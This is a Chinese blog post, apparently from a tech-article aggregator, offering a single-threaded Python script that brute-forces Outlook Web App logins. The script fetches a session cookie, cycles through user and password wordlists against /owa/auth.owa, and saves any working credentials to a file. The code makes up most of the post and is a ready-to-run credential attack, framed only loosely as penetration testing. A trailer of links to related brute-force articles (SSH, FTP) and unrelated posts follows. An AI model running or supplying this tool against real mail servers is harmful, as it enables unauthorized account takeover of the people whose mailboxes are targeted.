owa_outlook暴力破解脚本
其实msf里面存在这样的模块,search owa 即可,字典这种东西还是找规律密码去破解比较好
然后担心遇到渗透测试没有msf情况下,还是得自己写个脚本,网上找了一下lijiejie,但是运行不了,于是我就改了一下。单线程版本,outlook2010版本,我是判断headers中是都存在owa版本,lijiejie脚本那样判断这里行不通,有空再写个
多线程版本吧
# coding:utf-8
import threading
import requests
import argparse
import sys
'''
需要第一次访问获取session,加到data内容里面
'''
# parser = argparse.ArgumentParser(description='Microsoft OutLook WebAPP Brute Forcer.')
# parser.add_argument('domain', type=str, help='website domain name, e.g.
# email.baidu.com')
# args = parser.parse_args()
def open_file(path):
wordlist = []
with open(path, 'r') as f:
while True:
word = f.readline().strip()
if len(word) == 0:
break
wordlist.append(word)
return wordlist
users = open_file('user.txt')
passwords = open_file('pass.txt')
def get_session(domain):
url = 'https://{url}/owa/auth/logon.aspx?replaceCurrent=1&url=https%3a%2f%2f{urls}%2fowa%2f'.format(
url=domain, urls=domain)
response = requests.get(url, verify=False, timeout=5)
res = dict(response.headers)
session = res['Set-Cookie'].split(';')[0]
return session
def brute_outlook(domain):
headers = {
'Host': domain,
'Connection': 'Keep-Alive',
'Cache-Control': 'no-cache',
'Origin': 'https://{}'.format(domain),
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Referer': 'https://{url}/owa/auth/logon.aspx?replaceCurrent=1&url=https://{urls}/owa/'.format(url=domain, urls=domain),
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'en-US,en;q=0.8,ru;q=0.6',
'Cookie': ''
}
for user in users:
for pwd in passwords:
while True:
try:
session = get_session(domain)
break
except:
print('error happened !!!#1')
headers2 = headers
headers2['Cookie'] = 'OutlookSession={}; PBack=0'.format(session)
data = {'destination': 'https://{}/owa/'.format(domain),
'flags': '0',
'forcedownlevel': '0',
'trusted': '0',
'username': user,
'password': pwd,
'isUtf8': '1'
}
while True:
try:
target = 'https://' + domain + '/owa/auth.owa'
response = requests.post(
target, data=data, headers=headers2, verify=False, timeout=7)
if dict(response.headers)['X-OWA-Version']:
print('crack success'+'-----'+ user+':'+pwd)
with open('crack_email.txt','a') as f:
f.write(user+'--------'+ pwd+ '\n')
break
except:
print('error opened #2')
if __name__ == '__main__':
if len(sys.argv) <2:
print('python brute.py url')
exit(0)
domain = sys.argv[1]
brute_outlook(domain)
owa_outlook暴力破解脚本的更多相关文章
- linux计划任务防暴力破解脚本+免密操作
1.在root创建satools目录 mkdir satools 2.编辑防破解脚本 vi fpj.sh #!/bin/bash #zsl -xie cat /var/log/secure|awk ' ...
- SSH防暴力破解脚本
crontab -e 编辑添加一下内容 1 1 * * * sh /root/bin/Denyhosts.sh 脚本内容 #!/bin/bash #Denyhosts SHELL SCRIPT #20 ...
- python 暴力破解密码脚本
python 暴力破解密码脚本 以下,仅为个人测试代码,环境也是测试环境,暴力破解原理都是一样的, 假设要暴力破解登陆网站www.a.com 用户 testUser的密码, 首先,该网站登陆的验证要支 ...
- Linux CentOS 防止SSH暴力破解
一. 问题的发现 昨晚苦逼加班完后,今早上班继续干活时,SSH连接服务器发现异常的提示,仔细看了一下吓一小跳,昨晚9点钟到现在,一夜之间被人尝试连接200+,慌~~~ 1. 速度查一下log [roo ...
- htpwdScan — 一个简单的HTTP暴力破解、撞库攻击脚本
李姐姐之前跟我们分享了子域名枚举工具subDomainBrute<subDomainsBrute — 改进渗透测试时暴力枚举子域名的python脚本>,这回带给我们htpwdScan ht ...
- Python脚本暴力破解FTP口令(ftplib)
目录 判断FTP服务器是否允许匿名登录 暴力破解FTP口令 列出FTP目录内的网页文件 综合 环境:Windows python2.7.15 ftplib模块是python下用于ftp服务的模块 . ...
- Python脚本暴力破解SSH口令以及构建僵尸网络(pxssh)
目录 暴力破解SSH口令 SSH远端执行命令 构建僵尸网络 环境:Kali Linux python 2.7.13 暴力破解SSH口令 Pxssh是pexpect库的ssh专用脚本,他能用预先写好的 ...
- shell脚本,防止sshd被暴力破解
1.tail -f /var/log/secure 你会发现有很多的登录 错误.这说明你的机器正在被暴力破解. 2.新建 一个 shell脚 本 保存退出. 3.加入定时crontab -e 我这里每 ...
- 编写DVWA暴力破解High级别的Python脚本
1. 过程(不查看源代码) 使用burpsuite或者owasp zap抓取数据包,可以看出页面执行过程如下: 首先获取上一次请求的token,然后sleep几秒,最后使用get方法提交验证. 2. ...
随机推荐
- iOS基础 - Quartz 2D绘图的基本步骤
一.使用Quartz 2D绘图的基本步骤 1) 获取上下文context(绘制图形的地方) 2) 设置路径(路径是用来描述形状的) 3) 将路径添加到上下文 4) 设置上下文属性(设置颜色,线宽, ...
- Enterprise Architect UML 建模之活动图
EA(Enterprise Architect) UML 建模之活动图 一.活动图的概念作用 活动图本质上是一种流程图,它描述活动的序列,即系统从一个活动到另一个活动的控制流. 活动图的作用:描述 ...
- RSA加密解密与签名验证
关于RSACryption帮助类定义见RSACryption 一.加密与解密 //定义明文和密文变量 string plaintext = "天道酬勤,厚德载物!"; string ...
- tcp连接以及网络I/O的几个问题
这段时间在做一些web方面开发的事情,用的Nginx+fast-cgi,计划深入看一下Nginx的内部实现和架构,以方便理解和调优.后面准备写一篇有关Nginx介绍和深度解析的文章,要深入理解web服 ...
- [转]unload dynamic library needs two dlclose() calls?
src: http://stackoverflow.com/questions/8793099/unload-dynamic-library-needs-two-dlclose-calls Quest ...
- 不容易理解的 lock 和 merge
Hibernate:不容易理解的 lock 和 merge 目录 背景Lock官方的注释LockMode.NONELockMode.READLockMode.UPGRADEMerge官方注释detac ...
- 【转】CSS中position属性( absolute | relative | static | fixed )详解
我们先来看看CSS3 Api中对position属性的相关定义: static:无特殊定位,对象遵循正常文档流.top,right,bottom,left等属性不会被应用. relative:对象遵循 ...
- xml数据解析
xml数据解析 在iPhone开发中,XML的解析有很多选择,iOS SDK提供了NSXMLParser和libxml2两个类库,另外还有很多第三方类库可选,例如TBXML.TouchXML.Kiss ...
- ASP.NET Web API下的HttpController激活:程序集的解析
ASP.NET Web API下的HttpController激活:程序集的解析 HttpController的激活是由处于消息处理管道尾端的HttpRoutingDispatcher来完成的,具体来 ...
- ASP.NET MVC:会导致锁定的会话
ASP.NET MVC:会导致锁定的会话 背景 一直没有意识到会话的访问会导致会话锁定,现在想想这样设计是非常合理的,不过某些情况下这样会导致同一个会话的并发访问非常低(只能串行化),好在MS提供了机 ...